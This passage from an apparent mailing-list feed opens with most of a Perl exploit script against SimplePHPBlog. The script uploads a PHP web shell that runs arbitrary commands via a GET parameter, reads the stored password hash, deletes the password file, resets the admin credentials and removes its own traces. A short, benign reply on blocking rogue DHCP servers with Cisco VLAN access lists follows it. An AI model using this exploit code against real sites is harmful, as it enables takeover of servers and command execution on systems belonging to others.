&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Content_Type =&amp;gt; 'form-data',
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Content =&amp;gt; [userfile =&amp;gt; [$path,$file],],
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; );
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $response = $ua-&amp;gt;request($req);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nCreated cmd.php on target host: &amp;quot; . $url;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #$response-&amp;gt;is_success or die &amp;quot;Failed to POST '$url': &amp;quot;, $response-&amp;gt;status_line;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #return $response-&amp;gt;as_string;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Upload reset.php
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $path = &amp;quot;./reset.php&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $file = &amp;quot;reset.php&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $req = POST($url.&amp;quot;/upload_img_cgi.php&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Cookie =&amp;gt; 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Content_Type =&amp;gt; 'form-data',
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Content =&amp;gt; [userfile =&amp;gt; [$path,$file],],
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; );
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $response = $ua-&amp;gt;request($req);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nCreated reset.php on target host: &amp;quot; . $url;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #$response-&amp;gt;is_success or die &amp;quot;Failed to POST '$url': &amp;quot;, $response-&amp;gt;status_line;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #return $response-&amp;gt;as_string;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Remove local PHP files
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;RemoveTempPHPs();
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Step 6: Reset origional Passwpord
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #-----------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;ResetHash($url.&amp;quot;/images/reset.php&amp;quot;,$hash);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Step 7: Pass command to delete reset.php (clean up)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #-----------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;DeleteFile($url . &amp;quot;/comment_delete_cgi.php?y=05&amp;m=08&amp;comment=&amp;quot;,&amp;quot;./images/reset.php&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nRemoved reset.php from target host: &amp;quot; . $url;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\n\nTo run command please go to following link: \n\t&amp;quot; . $url.&amp;quot;/images/cmd.php?cmd=[your command]&amp;quot;;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	Exploit #2: Retrieve Password File 
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub RetrievePwd {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($url) = @_;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use LWP;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use HTTP::Request::Common;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $ua = LWP::UserAgent-&amp;gt;new;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $req = GET($url);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $response = $ua-&amp;gt;request($req);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $response-&amp;gt;is_success or die &amp;quot;Failed to POST '$url': &amp;quot;, $response-&amp;gt;status_line;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $hash = $response-&amp;gt;content;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nRetrieved Username and Password Hash: &amp;quot; . $hash; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return $hash
&lt;br&gt;&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	Exploit #3: Set New Username and Password 
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub SetUserPwd{
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($url,$user,$pass) = @_;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;DeleteFile($url . &amp;quot;/comment_delete_cgi.php?y=05&amp;m=08&amp;comment=&amp;quot;, &amp;quot;./config/password.txt&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;ResetPwd($url . &amp;quot;/install03_cgi.php?blog_language=english&amp;quot;,$user,$pass);
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	POST to Reset Username and Password (must delete password file first)
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub ResetPwd {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($url,$user,$pass) = @_;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use LWP;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use HTTP::Request::Common;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $ua = LWP::UserAgent-&amp;gt;new;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $req = POST($url,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ user &amp;nbsp;=&amp;gt; $user,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pass =&amp;gt; $pass,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; submit =&amp;gt; '%C2%A0Submit%C2%A0'
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ]
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; );
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $response = $ua-&amp;gt;request($req);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $response-&amp;gt;is_success or die &amp;quot;Failed to POST '$url': &amp;quot;, $response-&amp;gt;status_line;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\n./config/password.txt created!&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nUsername is set to: &amp;quot;.$user;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nPassword is set to: &amp;quot;.$pass;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	Exploit #4: Delete Password File 
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub DeleteFile {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($url,$file) = @_;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use LWP;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use HTTP::Request::Common;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $ua = LWP::UserAgent-&amp;gt;new;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $req = GET($url.$file);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $response = $ua-&amp;gt;request($req);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $response-&amp;gt;is_success or die &amp;quot;Failed to POST '$url': &amp;quot;, $response-&amp;gt;status_line;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nDeleted File: &amp;quot;.$file; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	log into site
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub Login {
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($url,$user,$pass) = @_;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use LWP;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use HTTP::Request::Common;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $ua = LWP::UserAgent-&amp;gt;new;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $req = POST($url,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ user &amp;nbsp;=&amp;gt; $user,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pass =&amp;gt; $pass,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; submit =&amp;gt; '%C2%A0Submit%C2%A0'
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ]
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; );
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $response = $ua-&amp;gt;request($req);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $response-&amp;gt;is_success or die &amp;quot;Failed to POST '$url': &amp;quot;, $response-&amp;gt;status_line;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nLogged into SimplePHPBlog at: &amp;quot;.$url;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nCurrent Username '&amp;quot;.$user.&amp;quot;' and Password '&amp;quot;.$pass.&amp;quot;'...&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return $response-&amp;gt;header('Set-Cookie');
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	POST the hash
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub ResetHash {
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($url,$hash) = @_;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use LWP;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use HTTP::Request::Common;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $ua = LWP::UserAgent-&amp;gt;new;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $req = POST($url,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ hash &amp;nbsp;=&amp;gt; $hash]
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; );
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $response = $ua-&amp;gt;request($req);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $response-&amp;gt;is_success or die &amp;quot;Failed to POST '$url': &amp;quot;, $response-&amp;gt;status_line;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nReset Hash at: &amp;quot;.$url;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nReset Hash value: &amp;quot;.$hash;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#------------------------------------------------------
&lt;br&gt;# Create Temp PHP files
&lt;br&gt;#------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub CreateTempPHPs{
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($hash) = @_;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; open(PHPFILE, &amp;quot;&amp;gt;./cmd.php&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print PHPFILE &amp;CreateCmdPHP();
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; close PHPFILE;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nCreated cmd.php on your local machine.&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; open(PHPFILE, &amp;quot;&amp;gt;./reset.php&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print PHPFILE &amp;CreateResetPHP();
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; close PHPFILE;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nCreated reset.php on your local machine.&amp;quot;;	
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;#------------------------------------------------------
&lt;br&gt;# Remove Temp PHP files
&lt;br&gt;#------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub RemoveTempPHPs{
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; unlink(&amp;quot;./cmd.php&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nRemoved cmd.php from your local machine.&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; unlink(&amp;quot;./reset.php&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\nRemoved reset.php from your local machine.&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#------------------------------------------------------
&lt;br&gt;# strip_session - Get PHP Session Variable
&lt;br&gt;#------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub strip_session {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($savedata) = @_;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $PHPstring = &amp;quot;PHPSESSID&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $semi = &amp;quot;\;&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $datalength = length($savedata);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $PHPstart= (index $savedata, $PHPstring)+10;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $PHPend = index $savedata,$semi,$PHPstart;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $PHPsession= substr $savedata, $PHPstart, ($PHPend-$PHPstart);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return $PHPsession;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;sub CreateCmdPHP(){
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return &amp;quot;
&lt;br&gt;&lt;br&gt;&amp;lt;?php
&lt;br&gt;&lt;br&gt;\$cmd = \$_GET[\'cmd\'];
&lt;br&gt;echo \'&amp;lt;hr/&amp;gt;&amp;lt;pre&amp;gt;\';
&lt;br&gt;echo \'Command: \' . \$cmd;
&lt;br&gt;echo '&amp;lt;/pre&amp;gt;&amp;lt;hr/&amp;gt;&amp;lt;br&amp;gt;';
&lt;br&gt;&lt;br&gt;echo '&amp;lt;pre&amp;gt;';
&lt;br&gt;\$last_line = system(\$cmd,\$output);
&lt;br&gt;echo \'&amp;lt;/pre&amp;gt;&amp;lt;hr/&amp;gt;\';
&lt;br&gt;?&amp;gt;.
&lt;br&gt;&amp;quot;; # end 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;sub CreateResetPHP(){
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return &amp;quot;
&lt;br&gt;&lt;br&gt;&amp;lt;?php
&lt;br&gt;&lt;br&gt;\$hash = \$_POST[\'hash\'];
&lt;br&gt;\$fp = fopen(\&amp;quot;../config/password.txt\&amp;quot;,\&amp;quot;w\&amp;quot;);
&lt;br&gt;fwrite(\$fp,\$hash);
&lt;br&gt;fpclose(\$fp);
&lt;br&gt;&lt;br&gt;?&amp;gt;
&lt;br&gt;&amp;quot;; #end return
&lt;br&gt;&lt;br&gt;}
&lt;br&gt;&lt;br&gt;&lt;br&gt;#------------------------------------------------------
&lt;br&gt;# 	Begin Routines
&lt;br&gt;#------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; init();
&lt;br&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/SimplePHPBlog-Arbitrary-File-Deletion-and-Sample-Exploit-tp763814p763814.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-726174</id>
	<title>Re: Tool for Identifying Rogue Linksys Routers</title>
	<published>2005-08-26T18:13:24Z</published>
	<updated>2005-08-26T18:13:24Z</updated>
	<author>
		<name>Tony Rall</name>
	</author>
	<content type="html">On Thursday, 2005-08-25 at 11:48 MST, Martin Mkrtchian 
&lt;br&gt;&amp;lt;&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=726174&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;dotsecure@...&lt;/a&gt;&amp;gt; wrote:
&lt;br&gt;&amp;gt; We are migrating from Lucent QIP to MetaIP for DHCP services and so
&lt;br&gt;&amp;gt; far we have had two issues when MetaIP has been implemented for &amp;nbsp;VLAN
&lt;br&gt;&amp;gt; that has an unauthorized Linksys router giving out IP addresses.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Is there a scanning tool out there that can determine if there are
&lt;br&gt;&amp;gt; unauthorized Linksys (type) routers in a specific VLAN?
&lt;br&gt;&lt;br&gt;First you say you have a problem with rogue dhcp servers (don't we all?), 
&lt;br&gt;then you way you're looking for routers.
&lt;br&gt;&lt;br&gt;For the rogue dhcp server problem, there are 2 types of this problem, but 
&lt;br&gt;unfortunately the solutions I've found aren't quite as specific to dhcp as 
&lt;br&gt;I would like.
&lt;br&gt;&lt;br&gt;Blocking at layer 3 (router) is relatively easy - you can block traffic to 
&lt;br&gt;68/udp except from your official dhcp servers.
&lt;br&gt;&lt;br&gt;Blocking at layer 2 is harder. &amp;nbsp;Here is a suggestion for doing it on Cisco 
&lt;br&gt;switches (which might not work on low end equipment - haven't tried that - 
&lt;br&gt;the switches must support vlan filtering):
&lt;br&gt;&lt;br&gt;Using vlan filtering, define that rogue traffic is dropped and logged; all 
&lt;br&gt;other traffic is forwarded:
&lt;br&gt;&lt;br&gt;vlan access-map dhcpmap 10
&lt;br&gt;&amp;nbsp;match ip address rogue_dhcp
&lt;br&gt;&amp;nbsp;action drop log
&lt;br&gt;vlan access-map dhcpmap 20
&lt;br&gt;&amp;nbsp;match ip address any_host
&lt;br&gt;&amp;nbsp;action forward
&lt;br&gt;exit
&lt;br&gt;&lt;br&gt;An access list that matches all traffic:
&lt;br&gt;&lt;br&gt;ip access-list standard any_host
&lt;br&gt;&amp;nbsp;remark Provide a match (permit) for all traffic
&lt;br&gt;&amp;nbsp;permit any
&lt;br&gt;exit
&lt;br&gt;&lt;br&gt;An access list that matches rogue dhcp traffic. &amp;nbsp;(With Cisco's strange 
&lt;br&gt;vlan access mechanism, it requires that we appear to be blocking the valid 
&lt;br&gt;traffic and allowing the bad stuff. &amp;nbsp;But, in conjunction with the 
&lt;br&gt;access-map, just the opposite occurs.)
&lt;br&gt;&lt;br&gt;ip access-list extended rogue_dhcp
&lt;br&gt;&amp;nbsp;remark Provide a match (permit) for dhcp responses from rogue servers
&lt;br&gt;&amp;nbsp;deny &amp;nbsp; udp host 10.1.32.21 any eq bootpc &amp;nbsp; &amp;nbsp;! these are my official dhcp 
&lt;br&gt;servers
&lt;br&gt;&amp;nbsp;deny &amp;nbsp; udp host 10.1.32.22 any eq bootpc &amp;nbsp; &amp;nbsp;! likewise
&lt;br&gt;&amp;nbsp;deny &amp;nbsp; udp 10.1.0.0 0.0.252.7 any eq bootpc &amp;nbsp; ! my routers, that might be 
&lt;br&gt;relaying legitimate dhcp
&lt;br&gt;&amp;nbsp;permit udp any any eq bootpc &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;! the match that will catch 
&lt;br&gt;the rogues
&lt;br&gt;&amp;nbsp;deny &amp;nbsp; ip any any &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ! don't catch anything 
&lt;br&gt;else
&lt;br&gt;exit
